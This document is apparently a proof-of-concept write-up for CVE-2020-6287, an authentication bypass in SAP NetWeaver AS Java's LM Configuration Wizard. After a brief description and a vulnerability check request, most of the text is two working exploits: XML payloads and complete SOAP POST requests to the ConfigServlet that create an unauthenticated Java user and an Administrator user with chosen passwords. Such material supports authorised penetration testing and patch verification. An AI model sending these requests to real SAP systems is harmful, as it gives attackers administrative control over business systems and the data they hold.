[CVE-2020-6287] SAP NetWeaver AS JAVA (LM Configuration Wizard) Authentication Bypass (Create New User)
SAP NetWeaver is SAP’s integrated technology platform and the technical foundation of all SAP applications since SAP Business Suite. SAP NetWeaver is a service-oriented application and integration platform that provides a development and running environment for SAP applications, and can also be used for custom development and integration with other applications and systems. SAP NetWeaver AS JAVA (LM Configuration Wizard), versions 7.30, 7.31, 7.40, 7.50, does not perform an authentication check which allows an attacker without prior authentication to execute configuration tasks to perform critical actions against the SAP Java system, including the ability to create an administrative user, and therefore compromising Confidentiality, Integrity and Availability of the system, leading to missing authentication check.
1️⃣ In order to checking CVE-2020-6287 ➡️ GET /CTCWebService/CTCWebServiceBean?wsdl
2️⃣ In order to create simple Java user ➡️ go to Proof of Concept (PoC) 1
3️⃣ In order to create Administrator Java user ➡️ go to Proof of Concept (PoC) 2
4️⃣ For safely proof of concept ➡️ check out CVE-2020-6286 repository
Proof of Concept (PoC) 1: Create simple Java user
Payload
<root>
<user>
<JavaOrABAP>java</JavaOrABAP>
<username>pentestuser</username>
<password>v3rystr0ngp@ssw0rd</password>
<userType></userType>
</user>
</root>Encode above payload to Base64 and insert into below request's <BASE64_ENCODED_PAYLOAD_HERE> field
POST /CTCWebService/CTCWebServiceBean/ConfigServlet HTTP/1.1
Host: host
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 CVE-2020-6287 PoC
Content-Type: text/xml;charset=UTF-8
SOAPAction:
Content-Length: 340
<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:urn=\"urn:CTCWebServiceSi\">
<soapenv:Header />
<soapenv:Body>
<urn:executeSynchronious>
<identifier>
<component>sap.com/tc~lm~config~content</component>
<path>content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc</path>
</identifier>
<contextMessages>
<baData>BASE64_ENCODED_PAYLOAD_HERE</baData>
<name>userDetails</name>
</contextMessages>
</urn:executeSynchronious>
</soapenv:Body>
</soapenv:Envelope>
Proof of Concept (PoC) 2: Create Administrator Java user
Payload
<PCK>
<Usermanagement>
<SAP_XI_PCK_CONFIG>
<roleName>Administrator</roleName>
</SAP_XI_PCK_CONFIG>
<SAP_XI_PCK_COMMUNICATION>
<roleName>ThisIsRnd9326</roleName>
</SAP_XI_PCK_COMMUNICATION>
<SAP_XI_PCK_MONITOR>
<roleName>ThisIsRnd5031</roleName>
</SAP_XI_PCK_MONITOR>
<SAP_XI_PCK_ADMIN>
<roleName>ThisIsRnd9846</roleName>
</SAP_XI_PCK_ADMIN>
<PCKUser>
<userName secure="true">pentestuser</userName>
<password secure="true">v3rystr0ngp@ssw0rd</password>
</PCKUser>
<PCKReceiver>
<userName>ThisIsRnd6461</userName>
<password secure="true">ThisIsRnd5525</password>
</PCKReceiver>
<PCKMonitor>
<userName>ThisIsRnd9457</userName>
<password secure="true">ThisIsRnd9037</password>
</PCKMonitor>
<PCKAdmin>
<userName>ThisIsRnd8386</userName>
<password secure="true">ThisIsRnd8477</password>
</PCKAdmin>
</Usermanagement>
</PCK>Encode above payload to Base64 and insert into below request's <BASE64_ENCODED_PAYLOAD_HERE> field
POST /CTCWebService/CTCWebServiceBean/ConfigServlet HTTP/1.1
Host: host
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 CVE-2020-6287 PoC
Content-Type: text/xml;charset=UTF-8
SOAPAction:
Content-Length: 340
<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:urn=\"urn:CTCWebServiceSi\">
<soapenv:Header />
<soapenv:Body>
<urn:executeSynchronious>
<identifier>
<component>sap.com/tc~lm~config~content</component>
<path>content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc</path>
</identifier>
<contextMessages>
<baData>BASE64_ENCODED_PAYLOAD_HERE</baData>
<name>userDetails</name>
</contextMessages>
</urn:executeSynchronious>
</soapenv:Body>
</soapenv:Envelope>